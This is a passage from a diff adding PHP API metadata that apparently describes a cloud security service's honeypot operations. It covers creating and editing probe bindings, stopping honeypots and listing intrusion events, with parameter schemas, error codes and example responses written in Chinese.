+ 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TargetSyncStatus' => [ + 'description' => '同步状态。取值：'."\n" + ."\n" + .'- **sync**：修改正在同步。'."\n" + .'- **valid**：修改已生效。', + 'type' => 'string', + 'example' => 'valid', + ], + 'TargetDefault' => [ + 'description' => '默认是否生效。取值：'."\n" + ."\n" + .'- **add**：新增主机默认生效。'."\n" + .'- **del**：新增主机默认不生效。', + 'type' => 'string', + 'example' => 'add', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"Data\\": {\\n \\"TargetSyncStatus\\": \\"valid\\",\\n \\"TargetDefault\\": \\"add\\"\\n }\\n}","type":"json"}]', + 'title' => '获取开关配置', + ], + 'CreateHoneypotProbeBind' => [ + 'summary' => '为指定探针创建监听或转发服务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '36bad711-d1ac-4419-ac68-c1aa280f****', + ], + ], + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐Id', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****', + ], + ], + [ + 'name' => 'ServiceIpList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '监听ip列表', + 'description' => '监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听IP。', + 'type' => 'string', + 'required' => false, + 'example' => '0.0.0.0', + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'BindPortList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '蜜罐端口绑定列表', + 'description' => '绑定端口列表。', + 'type' => 'array', + 'items' => [ + 'description' => '绑定端口数据。', + 'type' => 'object', + 'properties' => [ + 'TargetPort' => [ + 'description' => '目标端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '8080', + ], + 'StartPort' => [ + 'description' => '探针监听起始端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + 'EndPort' => [ + 'description' => '探针监听结束端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + 'Fixed' => [ + 'description' => '是否固定端口。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + 'BindPort' => [ + 'description' => '是否绑定端口。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + 'Proto' => [ + 'description' => '协议类型。取值：'."\n" + ."\n" + .'- **tcp**：表示TCP协议。'."\n" + .'- **udp**：表示UDP协议。', + 'type' => 'string', + 'required' => false, + 'example' => 'tcp', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'BindPortAlreadyExist', + 'errorMessage' => 'The specified service port already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '创建探针服务', + ], + 'ListHoneypotProbeUuid' => [ + 'summary' => '根据探针类型和节点编号查询探针编号。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'ControlNodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。'."\n" + .'> 您可以调用[ListHoneypotNode](~~ListHoneypotNode~~)接口获取该值', + 'type' => 'string', + 'required' => false, + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + [ + 'name' => 'ProbeType', + 'in' => 'query', + 'schema' => [ + 'title' => '探针类型 主机探针 VPC黑洞探针', + 'description' => '探针类型。取值：'."\n" + ."\n" + .'- **host_probe**：主机探针'."\n" + ."\n" + .'- **vpc\\_black\\_hole_probe**：VPC黑洞探针', + 'type' => 'string', + 'required' => false, + 'example' => 'host_probe', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'ListResult', + 'description' => '查询的列表数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '探针对应的资源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '探针对应的资源ID。', + 'type' => 'string', + 'example' => '28c2de29-302f-49e9-99ee-90d5ca63321a', + ], + ], + 'Count' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '32C9C2A6-B837-538E-921B-90746CB*****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n \\"28c2de29-302f-49e9-99ee-90d5ca63321a\\"\\n ],\\n \\"Count\\": 10,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"32C9C2A6-B837-538E-921B-90746CB*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '根据探针类型和节点编号查询探针编号', + ], + 'StopHoneypot' => [ + 'summary' => '停止蜜罐。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => '444c699ac151b183b04b562b1dc02639d504c9d097246a322de75c963fe*****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回的蜜罐数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐名称。', + 'type' => 'string', + 'example' => 'hyl-phpmya****', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'managerNoden****', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'metabase', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID', + 'type' => 'string', + 'example' => '868a7579-00b5-4a74-999d-8bd3f411****', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。', + 'type' => 'string', + 'example' => 'running', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'RuoYi', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + ], + 'Success' => [ + 'description' => '是否调用成功。取值：'."\n" + .'- **true**：调用成功。'."\n" + .'- **false**：调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C*****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"hyl-phpmya****\\",\\n \\"ControlNodeName\\": \\"managerNoden****\\",\\n \\"HoneypotImageName\\": \\"metabase\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '停止蜜罐', + ], + 'UpdateHoneypotProbeBind' => [ + 'summary' => '编辑探针服务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'title' => '探针服务端口id', + 'description' => '探针服务端口ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1906', + ], + ], + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '36bad711-d1ac-4419-ac68-c1aa280f****'."\n", + ], + ], + [ + 'name' => 'BindId', + 'in' => 'query', + 'schema' => [ + 'title' => '服务绑定id', + 'description' => '绑定服务的唯一ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'f52e8624-e43c-473c-8312-e0fed384****'."\n", + ], + ], + [ + 'name' => 'BindType', + 'in' => 'query', + 'schema' => [ + 'title' => '服务绑定类型', + 'description' => '服务绑定类型。取值：'."\n" + ."\n" + .'- **forward_honey**：转发到蜜罐'."\n" + .'- **scan_port**：监听扫描', + 'type' => 'string', + 'required' => false, + 'example' => 'forward_honey', + ], + ], + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐Id', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****'."\n", + ], + ], + [ + 'name' => 'ServiceIpList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '监听ip列表', + 'description' => '监听IP列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听IP。', + 'type' => 'string', + 'required' => false, + 'example' => '0.0.0.0'."\n", + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Ports', + 'in' => 'query', + 'schema' => [ + 'title' => '扫描类型', + 'description' => '监听端口范围。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"tcp\\":\\"1-65535\\",\\"udp\\":\\"1-65535\\"}'."\n", + ], + ], + [ + 'name' => 'SetStatus', + 'in' => 'query', + 'schema' => [ + 'title' => '状态设置', + 'description' => '监听端口状态设置。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'BindPortList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '蜜罐端口绑定列表', + 'description' => '绑定端口列表。', + 'type' => 'array', + 'items' => [ + 'description' => '绑定端口数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '绑定端口唯一标识。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '3183', + ], + 'TargetPort' => [ + 'description' => '目标端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + 'StartPort' => [ + 'description' => '探针监听起始端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '81', + ], + 'EndPort' => [ + 'description' => '探针监听结束端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '81', + ], + 'Fixed' => [ + 'description' => '是否固定端口。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'boolean', + 'required' => false, + 'example' => '0', + ], + 'BindPort' => [ + 'description' => '是否绑定端口。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + 'Proto' => [ + 'description' => '协议类型。取值：'."\n" + ."\n" + .'- **tcp**'."\n" + .'- **udp**', + 'type' => 'string', + 'required' => false, + 'example' => 'tcp', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。起始值为**1**。默认值为**1**，表示从第**1**页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '425D9617-4F4F-571E-A9CF-0245C9FC****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ProbeNotExist', + 'errorMessage' => 'Probe does not exist.', + ], + [ + 'errorCode' => 'BindPortAlreadyExist', + 'errorMessage' => 'The specified service port already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"425D9617-4F4F-571E-A9CF-0245C9FC****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '编辑探针服务', + ], + 'ListHoneypotEvents' => [ + 'summary' => '获取蜜罐的入侵事件。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '129270', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Dealed', + 'in' => 'formData', + 'schema' => [ + 'title' => 'y: 已经处理 n: 未处理 a: 所有', + 'description' => '事件状态。取值：'."\n" + ."\n" + .'- **y**：已经处理。'."\n" + .'- **n**：未处理。'."\n" + .'- **a**：所有。', + 'type' => 'string', + 'required' => false, + 'example' => 'y', + ], + ], + [ + 'name' => 'AlarmEventId', + 'in' => 'formData', + 'schema' => [ + 'description' => '告警的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1259925', + ], + ], + [ + 'name' => 'RiskLevelList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'required' => false, + 'example' => '4', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'HoneypotIdList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '蜜罐ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐ID。', + 'type' => 'string', + 'required' => false, + 'example' => '911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****'."\n", + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'AgentIdList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '探针ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '探针ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'd3c0dafa-5059-4eb0-8c28-7d40f58*****'."\n", + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'formData', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'formData', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'RequestId', + 'in' => 'formData', + 'schema' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'required' => false, + 'example' => '2F9CE167-58D5-5DA6-AA3B-923EED02****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '185.237.96.***', + ], + ], + [ + 'name' => 'PortraitId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击者画像ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cd48604a-1694-4f03-ade0-ec6994c3*****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '分页查询的结果数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotEvents' => [ + 'description' => '蜜罐攻击事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐攻击事件。', + 'type' => 'object', + 'properties' => [ + 'SrcIp' => [ + 'description' => '攻击源IP。', + 'type' => 'string', + 'example' => '192.168.62.***', + ], + 'DstIp' => [ + 'description' => '攻击的目的IP。', + 'type' => 'string', + 'example' => '112.126.205.***', + ], + 'AgentId' => [ + 'description' => '探针ID。', + 'type' => 'string', + 'example' => '27d44bd5815d401992ea672874d9****', + ], + 'AgentName' => [ + 'description' => '探针名称。', + 'type' => 'string', + 'example' => '1193474_test_****', + ], + 'Protocol' => [ + 'description' => '协议。取值：'."\n" + ."\n" + .'- **tcp**。'."\n" + .'- **udp**。', + 'type' => 'string', + 'example' => 'tcp', + ], + 'FirstTime' => [ + 'description' => '首次发生时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1692670297', + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1676558664', + ], + 'Location' => [ + 'description' => '地域。', + 'type' => 'string', + 'example' => '北京市', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'example' => '4', + ], + 'HoneypotName' => [ + 'description' => '蜜罐名称。', + 'type' => 'string', + 'example' => '主机 tcp监听****', + ], + 'AlarmEventId' => [ + 'description' => '告警事件id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1900752', + ], + 'SecurityEventId' => [ + 'description' => '攻击事件的唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '70427821', + ], + 'MergeFieldList' => [ + 'description' => '字段键对应值扩展值列表。', + 'type' => 'array', + 'items' => [ + 'description' => '字段键对应值扩展值。', + 'type' => 'object', + 'properties' => [ + 'FieldType' => [ + 'description' => '字段类型。', + 'type' => 'string', + 'example' => 'level2_item1', + ], + 'FieldKey' => [ + 'description' => '字段的键。', + 'type' => 'string', + 'example' => 'type', + ], + 'FieldValue' => [ + 'description' => '字段键对应值。', + 'type' => 'string', + 'example' => 'web_access', + ], + 'FieldExtInfo' => [ + 'description' => '字段的补充信息。', + 'type' => 'string', + 'example' => 'data', + ], + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'LastRowKey' => [ + 'description' => '最后一条数据的键。', + 'type' => 'string', + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY*********', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBD28009-6096-5E90-BFE6-62CCD67*****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotEvents\\": [\\n {\\n \\"SrcIp\\": \\"192.168.62.***\\",\\n \\"DstIp\\": \\"112.126.205.***\\",\\n \\"AgentId\\": \\"27d44bd5815d401992ea672874d9****\\",\\n \\"AgentName\\": \\"1193474_test_****\\",\\n \\"Protocol\\": \\"tcp\\",\\n \\"FirstTime\\": 1692670297,\\n \\"LastTime\\": 1676558664,\\n \\"Location\\": \\"北京市\\",\\n \\"RiskLevel\\": \\"4\\",\\n \\"HoneypotName\\": \\"主机 tcp监听****\\",\\n \\"AlarmEventId\\": 1900752,\\n \\"SecurityEventId\\": 70427821,\\n \\"MergeFieldList\\": [\\n {\\n \\"FieldType\\": \\"level2_item1\\",\\n \\"FieldKey\\": \\"type\\",\\n \\"FieldValue\\": \\"web_access\\",\\n \\"FieldExtInfo\\": \\"data\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20,\\n \\"LastRowKey\\": 